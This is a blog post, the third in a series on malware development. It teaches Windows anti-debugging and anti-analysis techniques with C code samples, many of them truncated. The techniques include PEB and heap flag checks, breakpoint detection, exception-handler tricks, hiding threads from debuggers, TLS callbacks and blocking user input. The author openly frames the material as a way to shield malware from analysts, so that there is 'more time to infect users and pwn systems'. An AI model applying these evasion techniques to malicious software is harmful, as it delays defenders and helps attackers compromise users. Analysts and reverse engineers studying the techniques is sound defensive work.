Malware development part 3

Introduction

This is the third post of a series which regards development of malicious software. In this series we will explore and try to implement multiple techniques used by malicious applications to execute code, hide from defenses and persist.

In the previous part of the series we discussed methods for detecting sandboxes, virtual machines and automated analysis.

This time let's see how the application can detect that it's being debugged or inspected by an analyst.

Note: we assume 64-bit execution environment - some code samples may not work for x86 applications (for example due to hardcoded 8-byte pointer length or different data layout in PE and PEB). Also, error checks are ommited in the code samples below.

Detecting and hindering manual analysis

There are specific characteristics indicating that the application is being manually inspected by a malware analyst. To protect our malware we can check for these traits and also we can make it harder for the analyst to reverse our code.

Detecting debuggers

First thing to do is to check if the application is executed with a debugger attached. There are lots of techniques for debugging detection - we wil discuss some of them. Of course every technique can be mitigated by an analyst however some are more complicated than others.

Querying information

It's possible to simply "ask" the operating system if any debugger is attached. `IsDebuggerPresent` function basically checks `BeingDebugged` flag in the PEB:

```
if (IsDebuggerPresent()) return;

// same check
PPEB pPEB = (PPEB)__readgsqword(0x60);
if (pPEB->BeingDebugged) return;
```

Another similar function is `CheckRemoteDebuggerPresent` which calls `NtQueryInformationProcess`:

```
BOOL isDebuggerPresent = FALSE;
CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPre
if (isDebuggerPresent) return;

// same check
typedef NTSTATUS(WINAPI *PNtQueryInformationProcess)(IN  HANDI
PNtQueryInformationProcess pNtQueryInformationProcess = (PNtQu
DWORD64 isDebuggerPresent2 = 0;
pNtQueryInformationProcess(GetCurrentProcess(), ProcessDebugPo
if (isDebuggerPresent2) return;
```

Flags and artifacts

There are some specific flags set in a process address space when it's being debugged. `NtGlobalFlag` is a collection of flags located in the PEB which may indicate a debugger presence.

Note: This did not detect Visual Studio debugger (`msvsmon`).

```
#define FLG_HEAP_ENABLE_TAIL_CHECK   0x10
#define FLG_HEAP_ENABLE_FREE_CHECK   0x20
#define FLG_HEAP_VALIDATE_PARAMETERS 0x40
#define NT_GLOBAL_FLAG_DEBUGGED (FLG_HEAP_ENABLE_TAIL_CHECK |
PDWORD pNtGlobalFlag = (PDWORD)(__readgsqword(0x60) + 0xBC);
if ((*pNtGlobalFlag) & NT_GLOBAL_FLAG_DEBUGGED) return false;
```

Process heap contains two interesting flags `Flags` and `ForceFlags` which are affected by the debugger. When the process is debugged, these flags will have specific values. Heap location as well as flags location (relative to the heap) are system- and architecture-specific.

Note: This did not detect Visual Studio debugger (`msvsmon`).

```
PDWORD pHeapFlags = (PDWORD)((PBYTE)GetProcessHeap() + 0x70);
PDWORD pHeapForceFlags = (PDWORD)((PBYTE)GetProcessHeap() + 0x
if (*pHeapFlags ^ HEAP_GROWABLE || *pHeapForceFlags != 0) retu
```

`NtQueryInformationProcess` function mentioned before can be used to check other artifacts: `ProcessDebugObjectHandle` and `ProcessDebugFlags`.

```
#define ProcessDebugObjectHandle 0x1E
#define ProcessDebugFlags 0x1F
HANDLE hProcessDebugObject = NULL;
DWORD processDebugFlags = 0;
pNtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCl
pNtQueryInformationProcess(GetCurrentProcess(), (PROCESSINFOCl
if (hProcessDebugObject != NULL || processDebugFlags == 0) ret
```

Detecting breakpoints by checking the code for changes

When a **software breakpoint** is placed by a debugger in a function, an interrupt instruction is injected into the function code (`INT 3` - `0xCC` opcode). We can scan the function code during runtime to check if the `0xCC` opcode is present by comparing every byte with this value, or better, by calculating a checksum of the function bytes and comparing it to a proper value (calculated for a “valid” function”). However we need to know where the function starts and where it ends. We can use a stub function located after our `CrucialFunction`. Also, we need to make sure that the linker does not link object files and libraries incrementally. `#pragma auto_inline(off)` is used to prevent functions from being compiled as inline.

```
#pragma comment(linker, "/INCREMENTAL:YES")

DWORD CalculateFunctionChecksum(PUCHAR functionStart, PUCHAR f
{
    DWORD checksum = 0;
```

```
    while(functionStart < functionEnd)
    {
        checksum += *functionStart;
        functionStart++;
    }
    return checksum;
}
#pragma auto_inline(off)
VOID CrucialFunction()
{
    int x = 0;
    x += 2;
}
VOID AfterCrucialFunction()
{
};
#pragma auto_inline(on)

void main()
{
    DWORD originalChecksum = 3429;
    DWORD checksum = CalculateFunctionChecksum((PUCHAR)Crucial
    if (checksum != originalChecksum) return;

    wprintf_s(L"Now hacking...\n");
}
```

Hardware breakpoints can be detected by examining debug registers `DR0` through `DR3`:

```
CONTEXT context = {};
context.ContextFlags = CONTEXT_DEBUG_REGISTERS;
GetThreadContext(GetCurrentThread(), &context);
if (context.Dr0 || context.Dr1 || context.Dr2 || context.Dr3)
```

Detecting breakpoints by checking memory pages permissions

Checking memory pages permissions can help us detect software breakpoints places by a debugger. First we need to find the number of pages in the process working set and allocate large enough buffer to store all the information. Then we enumerate memory pages and check their permissions - we are only interested in executable pages. For each executable page we check if the if is shared with any other process (it shouldn't be unless someone has modified the memory for example by placing a `INT 3` instruction in the code).

```
BOOL debugged = false;

PSAPI_WORKING_SET_INFORMATION workingSetInfo;
QueryWorkingSet(GetCurrentProcess(), &workingSetInfo, sizeof w
DWORD requiredSize = sizeof PSAPI_WORKING_SET_INFORMATION * (w
PPSAPI_WORKING_SET_INFORMATION pWorkingSetInfo = (PPSAPI_WORKI
BOOL s = QueryWorkingSet(GetCurrentProcess(), pWorkingSetInfo,
for (int i = 0; i < pWorkingSetInfo->NumberOfEntries; i++)
{
    PVOID physicalAddress = (PVOID)(pWorkingSetInfo->WorkingSe
    MEMORY_BASIC_INFORMATION memoryInfo;
    VirtualQuery((PVOID)physicalAddress, &memoryInfo, sizeof m
    if (memoryInfo.Protect & (PAGE_EXECUTE | PAGE_EXECUTE_REAI
    {
        if ((pWorkingSetInfo->WorkingSetInfo[i].Shared == 0) |
        {
            debugged = true;
            break;
        }
    }
}

if (debugged) return;

wprintf_s(L"Now hacking...\n");
```

Exception handlers

In general, exceptions are handled first by a debugger. If we could add new or modify exception processing routines (to execute arbitrary code) we would be able to discover

a debugger presence, since our code will be executed only if there's no debugger to catch the exception first.

Structured Exception Handling (SEH) is a Windows mechanism for, well, exception handling. When an exception is raised and no other facility was able to process it, the exception is passed to SEH. Manipulating SEH functions during runtime can be used to detect a debugger.

In x86 environment exception handlers are present in a form of linked list and the first element address is stored at the beginning of the TEB. We can add a custom handler and link it to the beginning of the list. The custom exception handler can indicate that the application is not being debugged.

However in x64 environment SEH operations are done in kernel mode (this protects the SEH data from being overwritten on the stack via a buffer overflow attack) so the aforementioned technique is generally not applicable. However if none of the handlers is able to process the exception, it is passed to `kernel32.UnhandledExceptionFilter` function (which is the last resort of exception handling).

It is possible to set a custom filter function that will be called from `UnhandledExceptionFilter` using `SetUnhandledExceptionFilter` function. Interestingly, our custom unhandled exception filter will be called only if the application is not being debugged. This happens because `UnhandledExceptionFilter` checks for the presence of a debugger using `pNtQueryInformationProcess` function with `ProcessDebugPort` flag (same as in the technique described before).

So, we can register arbitrary unhandled exception filter function which will indicate absence of a debugger.

```
BOOL isDebugged = TRUE;

LONG WINAPI CustomUnhandledExceptionFilter(PEXCEPTION_POINTERS
{
    isDebugged = FALSE;
    return EXCEPTION_CONTINUE_EXECUTION;
}

void main()
{
    PTOP_LEVEL_EXCEPTION_FILTER previousUnhandledExceptionFilt
    RaiseException(EXCEPTION_FLT_DIVIDE_BY_ZERO, 0, 0, NULL);
    SetUnhandledExceptionFilter(previousUnhandledExceptionFilt
```

```
    if (isDebugged) return;

    wprintf_s(L"Now hacking...\n");
}
```

Creating interrupts

We can create breakpoint interrupt in our code which will be interpreted by the debugger as a software breakpoint (like it was set by a user). Let's create simple SEH handler:

```
BOOL isDebugged = TRUE;
__try
{
    DebugBreak();
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTI
{
    isDebugged = FALSE;
}
if (isDebugged) return;
```

This allowed to detect VS debugger (`msvsmon`) and `WinDbg` but not `x64dbg`. The latter seems to pass 'breapoint' exceptions to SEH.

Using `RaiseException` function instead of `DebugBreak` caused some undefined behavior - debuggers were messing the code flow and producing loops of `EXCEPTION_ILLEGAL_INSTRUCTION` exceptions by jumping to incorrect addresses. This may be useful for us to make the application analysis harder.

```
BOOL isDebugged = TRUE;
__try
{
    RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
}
__except (GetExceptionCode() == EXCEPTION_BREAKPOINT ? EXCEPTI
{
    isDebugged = FALSE;
```

```
}
if (isDebugged) return;
```

Another way to see how debugger handles such a breakpoint interrupt is to register a vectored exception handler.

Vectored Exception Handling is an extension to SEH. Vectored exception handlers do not replace SEH - they work in parallel, however VEH has priority over SEH - VEH handlers are called before SEH handlers. Anyway, VEH may or may not be called after the debugger has handled (or not) the breakpoint exception.

Using `DebugBreak` function I was able to reproduce similar situation to the one with SEH (VEH was only executed if no specific debugger was present). This allowed to detect VS debugger (`msvsmon`) and `WinDbg` but not `x64dbg`.

```
BOOL isDebugged = TRUE;

LONG WINAPI CustomVectoredExceptionHandler(PEXCEPTION_POINTERS
{
    if (pExceptionPointers->ExceptionRecord->ExceptionCode ==
    {
        pExceptionPointers->ContextRecord->Rip++;
        return EXCEPTION_CONTINUE_EXECUTION;
    }
    return EXCEPTION_CONTINUE_SEARCH; // pass on other excepti
}

void main()
{
    AddVectoredExceptionHandler(1, CustomVectoredExceptionHanc
    DebugBreak();
    RemoveVectoredExceptionHandler(CustomVectoredExceptionHanc
    if (isDebugged) return;

    wprintf_s(L"Now hacking...\n");
}
```

Again, `RaiseException` function caused some undefined behavior - `EXCEPTION_ILLEGAL_INSTRUCTION` exceptions looped. Let's use this to just hinder

analysis:

```
LONG WINAPI CustomVectoredExceptionHandler(PEXCEPTION_POINTERS
{
    // process all exceptions, including EXCEPTION_ILLEGAL_INS
    printf("xD");
    return EXCEPTION_CONTINUE_EXECUTION;
}

void main()
{
    AddVectoredExceptionHandler(1, CustomVectoredExceptionHanc
    RaiseException(EXCEPTION_BREAKPOINT, 0, 0, NULL);
    RemoveVectoredExceptionHandler(CustomVectoredExceptionHanc

    wprintf_s(L"Now hacking...\n");
}
```

Self-debugging

If a process is being debugged, it is impossible to attach another debugger to it. To check if our application is debugged leveraging this fact we would need to start another process which would try to attach to the application.

```
if (!DebugActiveProcess(pid))
{
    HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, FALSE, pi
    TerminateProcess(hProcess, 0);
}
```

Detecting analysis in general

By enumerating resources like running processes, loaded libraries etc. we may discover an analyst trying to reverse engineer our application. See the previous article (**File, directory, process and window names** section) for more details.

Execution time

Time checks described in the previous article (as a part of sandbox evasion) can also be used to detect if the application is being analyzed or debugged. We can check system time before and after a certain instruction block and assume that the time measured elapsed time should be less than some value. If the application is being analyzed, it is likely that breakpoints are set in that instruction block. If so, the execution time will exceed the assumed period.

```
int t1 = GetTickCount64();
Hack(); // should take less than 5 seconds
int t2 = GetTickCount64();
if (((t2 - t1) / 1000) > 5) return;

wprintf_s(L"Now hacking more...\n");
```

The `GetTickCount64` function may be subject to function hooking. To handle this we can use techniques described in the previous article (see **Delaying execution** and **Function hooking**).

Making analyst's life harder

Hiding from the debugger

We can use native Windows functionality to hide a thread from the debugger - the thread will stop sending events. Function that we use for hiding the thread (`NtSetInformationThread`) may be hooked - to verify we can call it with some bogus parameters and check return status (should not return `STATUS_SUCCESS` for incorrect parameters).

```
typedef NTSTATUS(WINAPI *NtSetInformationThread)(IN HANDLE, IN
NtSetInformationThread pNtSetInformationThread = (NtSetInforma
THREADINFOCLASS ThreadHideFromDebugger = (THREADINFOCLASS)0x11
pNtSetInformationThread(GetCurrentThread(), ThreadHideFromDebu
```

Of course this does not affect events that are sent before hiding the thread.

Similarly, we can create a new thread which will be hidden from a debugger using `NtCreateThreadEx` function. The new thread will not send events to the debugger.

```
typedef NTSTATUS(WINAPI *NtCreateThreadEx)(OUT PHANDLE, IN ACC
NtCreateThreadEx pNtCreateThreadEx = (NtCreateThreadEx)GetProc
#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x4
HANDLE hThread;
pNtCreateThreadEx(&hThread, 0x1FFFFF, NULL, GetCurrentProcess
WaitForSingleObject(hThread, INFINITE);
```

Creating a new thread is by itself a way to complicate the application analysis. Code in a new thread executes freely unless a breakpoint is set in an appropriate location.

Execution path

We can make the application analysis more difficult by tangling the code execution path. Exception handlers mentioned before are a good and not-so-obvious place to execute malicious code. We can also leverage Windows API functions that use callbacks (remember `EnumDisplayMonitors`?). There are many functions using callbacks, for example extended file read and write routines:

```
VOID CALLBACK MyCallback(DWORD errorCode, DWORD bytesTransferr
{
    MessageBoxW(NULL, L"Catch me if you can", L"xD", 0);
}

void main()
{
    HANDLE hFile = CreateFileW(L"C:\\Windows\\win.ini", GENERI
    PVOID fileBuffer = VirtualAlloc(0, 64, MEM_RESERVE | MEM_C
    OVERLAPPED overlapped = {0};
    ReadFileEx(hFile, fileBuffer, 32, &overlapped, MyCallback)

    WaitForSingleObjectEx(hFile, INFINITE, true); // wait for
    wprintf_s(L"Already pwned...\n");
}
```

TLS callbacks

TLS (thread local storage) callbacks is a Windows mechanism that allows execution of arbitrary code on process and threads start and termination. It can be used to run some

anti-debug code before `main` function (or other entry point). However most debuggers automatically place breakpoint before `main` ("System breakpoint" - `ntdll.LdrpDoDebuggerBreak`) or even at the beginning of the callback. Anyway, the callback implementation requires certain linker directives:

```
void NTAPI TlsCallback(PVOID DllHandle, DWORD dwReason, PVOID)
{
    if (dwReason == DLL_PROCESS_ATTACH)
    {
        if (CheckIfDebugged()) exit(0);
    }
}

#pragma comment (linker, "/INCLUDE:_tls_used")
#pragma comment (linker, "/INCLUDE:tls_callback_function")

#pragma const_seg(".CRT$XLA")
EXTERN_C const PIMAGE_TLS_CALLBACK tls_callback_function = Tls
#pragma const_seg()

void main()
{
    wprintf_s(L"Now hacking...\n");
}
```

On older Windows versions, TLS callbacks could be used to detect new threads created in a process by a debugger. Since Windows 7, `DebugActiveProcess` calls `NtCreateThreadEx` with a flag that causes `SkipThreadAttach` flag to be set in a new thread's environment block, which in turn prevents TLS callback execution.

Blocking user input

We can block keyboard and mouse events. This works only in high integrity context (i.e. must be "run as administrator"). The block can be bypassed by the secure attention sequence (`CTRL+ALT+DEL`) which gets captured by kernel.

```
BlockInput(true);
```

Summary

That's it - we are ready to implement some debugger detection techniques in our code. Of course every trick can be disabled by a skilled reverser. We can't make debugging of our application impossible, but we can make it more difficult. And that's the point - the longer it takes to understand our code and extract IoCs, the more time we have to infect users and pwn systems.

In the next article we will talk about static analysis and obfuscation of our malicious application, focusing on the PE format.

Links

Be sure to check these great resources on the topic:

https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software

https://anti-reversing.com/Downloads/Anti-Reversing/The_Ultimate_Anti-Reversing_Reference.pdf

http://antukh.com/blog/2015/01/19/malware-techniques-cheat-sheet/

https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug

https://secrary.com/Random/HinderMalwareAnalyst/

Written on April 6, 2020